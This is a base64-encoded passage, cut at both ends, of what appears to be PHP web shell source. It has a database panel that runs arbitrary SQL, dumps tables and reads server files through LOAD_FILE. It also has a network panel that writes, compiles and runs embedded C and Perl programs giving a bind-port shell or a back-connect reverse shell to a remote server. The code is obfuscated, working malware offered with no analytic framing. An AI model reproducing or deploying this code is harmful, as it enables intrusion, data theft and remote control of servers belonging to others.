G5hbWU9cDEgdmFsdWU9XCdxdWVyeVwnPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+DQogICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IG5hbWU9XCd0eXBlXCc+DQogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJteXNxbCIgJy4oQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnPydzZWxlY3RlZCc6JycpLic+TXlTcWw8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InBnc3FsIiAnLihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCc/J3NlbGVjdGVkJzonJykuJz5Qb3N0Z3JlU3FsPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0iJy4oZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8nbG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpLiciPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfbG9naW4gdmFsdWU9IicuKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKS4nIj48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9IicuKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKS4nIj48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD4nOw0KICAgICR0bXAgPSAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPiI7DQogICAgaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7DQogICAgICAgIGlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgew0KICAgICAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQogICAgICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRkYi0+bGlzdERicygpOw0KICAgICAgICAgICAgZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsNCiAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7DQogICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7DQogICAgICAgICAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzwvc2VsZWN0Pic7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSBlY2hvICR0bXA7DQogICAgfWVsc2UNCiAgICAgICAgZWNobyAkdG1wOw0KICAgIGVjaG8gJzwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3RhYmxlPg0KICAgICAgICA8c2NyaXB0Pg0KICAgICAgICAgICAgZnVuY3Rpb24gc3QodCxsKSB7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuc2YucDEudmFsdWUgPSBcJ3NlbGVjdFwnOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLnAyLnZhbHVlID0gdDsNCiAgICAgICAgICAgICAgICBpZihsIT1udWxsKWRvY3VtZW50LnNmLnAzLnZhbHVlID0gbDsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5zdWJtaXQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGZ1bmN0aW9uIGlzKCkgew0KICAgICAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5zZi5lbGVtZW50c1tcJ3RibFtdXCddLmxlbmd0aDsrK2kpDQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLmVsZW1lbnRzW1wndGJsW11cJ11baV0uY2hlY2tlZCA9ICFkb2N1bWVudC5zZi5lbGVtZW50c1tcJ3RibFtdXCddW2ldLmNoZWNrZWQ7DQogICAgICAgICAgICB9DQogICAgICAgIDwvc2NyaXB0Pic7DQogICAgaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspew0KICAgICAgICBlY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOw0KICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KICAgICAgICAgICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Ym9yZGVyLXJpZ2h0OjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7DQogICAgICAgICAgICAgICAgJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7DQogICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpIHsNCiAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7DQogICAgICAgICAgICAgICAgICAgICR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInKVwiPiIuJHZhbHVlLiI8L2E+ICgiLiRuWyduJ10uIik8L25vYnI+PGJyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0R1bXAnIG9uY2xpY2s9J2RvY3VtZW50LnNmLnAyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsNCiAgICAgICAgICAgICAgICBpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDEnXSA9ICdxdWVyeSc7DQogICAgICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kX1BPU1RbJ3AyJ10uJycpOw0KICAgICAgICAgICAgICAgICAgICAkbnVtID0gJGRiLT5mZXRjaCgpOw0KICAgICAgICAgICAgICAgICAgICAkbnVtID0gJG51bVsnbiddOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoJG51bSkgIjsNCiAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8KCRudW0vMzApOyRpKyspDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaSAhPSAoaW50KSRfUE9TVFsncDMnXSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdzdChcIiIuJF9QT1NUWydwMiddLiJcIiwgJGkpJz4iLCgkaSsxKSwiPC9hPiAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCRpKzEpLCIgIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpDQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOw0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMyddKSkgew0KICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AzJ10pOw0KICAgICAgICAgICAgICAgICAgICBpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aXRsZSA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISR0aXRsZSkgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzZXQoJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGU9dHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj48dHI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAkbGluZT09MT8yOjE7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdmFsdWUgPT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPic7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBuYW1lPSdwMycgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iLkBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSkuIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7DQogICAgICAgICAgICAgICAgZWNobyAiPC90ZD48L3RyPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPjxmb3JtIG9uc3VibWl0PSdkb2N1bWVudC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7DQogICAgICAgICAgICBpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsNCiAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJF9QT1NUWydwMiddKS4iJykgYXMgZmlsZSIpOw0KICAgICAgICAgICAgICAgICRmaWxlID0gJGRiLT5mZXRjaCgpOw0KICAgICAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCiAgICAgICAgICAgIH0NCiAgICB9DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCkgew0KICAgIHByaW50SGVhZGVyKCk7DQogICAgJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwSUhzTkNpQWdJQ0JwYm5RZ1ptUTdEUW9nSUNBZ2MzUnlkV04wSUhOdlkydGhaR1J5WDJsdUlITnBianNOQ2lBZ0lDQmtZV1Z0YjI0b01Td3dLVHNOQ2lBZ0lDQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2dJQ0FnYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmRLU2s3RFFvZ0lDQWdjMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzTkNpQWdJQ0JtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzTkNpQWdJQ0JwWmlBb0tHTnZibTVsWTNRb1ptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLaWtnSm5OcGJpd2djMmw2Wlc5bUtITjBjblZqZENCemIyTnJZV1JrY2lrcEtUd3dLU0I3RFFvZ0lDQWdJQ0FnSUhCbGNuSnZjaWdpUTI5dWJtVmpkQ0JtWVdsc0lpazdEUW9nSUNBZ0lDQWdJSEpsZEhWeWJpQXdPdzBLSUNBZ0lIME5DaUFnSUNCa2RYQXlLR1prTENBd0tUc05DaUFnSUNCa2RYQXlLR1prTENBeEtUc05DaUFnSUNCa2RYQXlLR1prTENBeUtUc05DaUFnSUNCemVYTjBaVzBvSWk5aWFXNHZjMmdnTFdraUtUc05DaUFnSUNCamJHOXpaU2htWkNrN0RRcDkiOw0KICAgICRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOw0KICAgICRiaW5kX3BvcnRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnNhV0l1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCekxHTXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYk16QmRPdzBLSUNBZ0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnlPdzBLSUNBZ0lHUmhaVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9RVVpmU1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0JwWmlnaGN5a2djbVYwZFhKdUlDMHhPdzBLSUNBZ0lISXVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YVc1ZmNHOXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNrcE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpDaHpMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSm5Jc0lEQjRNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpMQ0ExS1RzTkNpQWdJQ0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWEIwS0hNc01Dd3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWd01paGpMREFwT3cwS0lDQWdJQ0FnSUNCa2RYQXlLR01zTVNrN0RRb2dJQ0FnSUNBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdVb1l5d2lVR0Z6YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05DaUFnSUNBZ0lDQWdabTl5S0drOU1EdHBQSE4wY214bGJpaHdLVHRwS3lzcERRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVKeWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbk93MEtJQ0FnSUNBZ0lDQnBaaUFvYzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUFQwZ01Da05DaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxiU2dpTDJKcGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoaktUc05DaUFnSUNCOURRcDkiOw0KICAgICRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCiAgICANCiAgICBlY2hvICc8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KICAgIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4NCiAgICA8YnIgLz48c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPg0KICAgIFBvcnQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwb3J0XCcgdmFsdWU9XCc0NDNcJz4gUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwYXNzXCcgdmFsdWU9XCdTdHI0d2hhdFwnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JwY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYnBwXCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4NCiAgICA8L2Zvcm0+DQogICAgPGZvcm0gbmFtZT1cJ25mcFwnIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+DQogICAgPGJyIC8+PGJyIC8+PHNwYW4+QmFjay1jb25uZWN0IHRvPC9zcGFuPjxici8+DQogICAgU2VydmVyOiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwnc2VydmVyXCcgdmFsdWU9IicuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJyI+IFBvcnQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwb3J0XCcgdmFsdWU9XCc0NDNcJz4gVXNpbmc6IDxzZWxlY3QgbmFtZT0idXNpbmciPjxvcHRpb24gdmFsdWU9XCdiY2NcJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ2JjcFwnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+DQogICAgPC9mb3JtPjxicj4nOyAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgIGZ1bmN0aW9uIGNmKCRmLCR0KSB7DQogICAgICAgICAgICAkdz1AZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOw0KICAgICAgICAgICAgaWYoJHcpICAgIHsNCiAgICAgICAgICAgICAgICBAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZwdXRzKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRmLEBiYXNlNjRfZGVjb2RlKCR0KSk7DQogICAgICAgICAgICAgICAgQGZjbG9zZSgkdyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdicGMnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOw0KICAgICAgICAgICAgJG91dCA9IGV4KCJnY2MgLW8gL3RtcC9icCAvdG1wL2JwLmMiKTsNCiAgICAgICAgICAgIEB1bmxpbmsoIi90bXAvYnAuYyIpOw0KICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOw0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBicCIpLiI8L3ByZT4iOw0KICAgICAgICB9DQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgew0KICAgICAgICAgICAgY2YoIi90bXAvYnAucGwiLCRiaW5kX3BvcnRf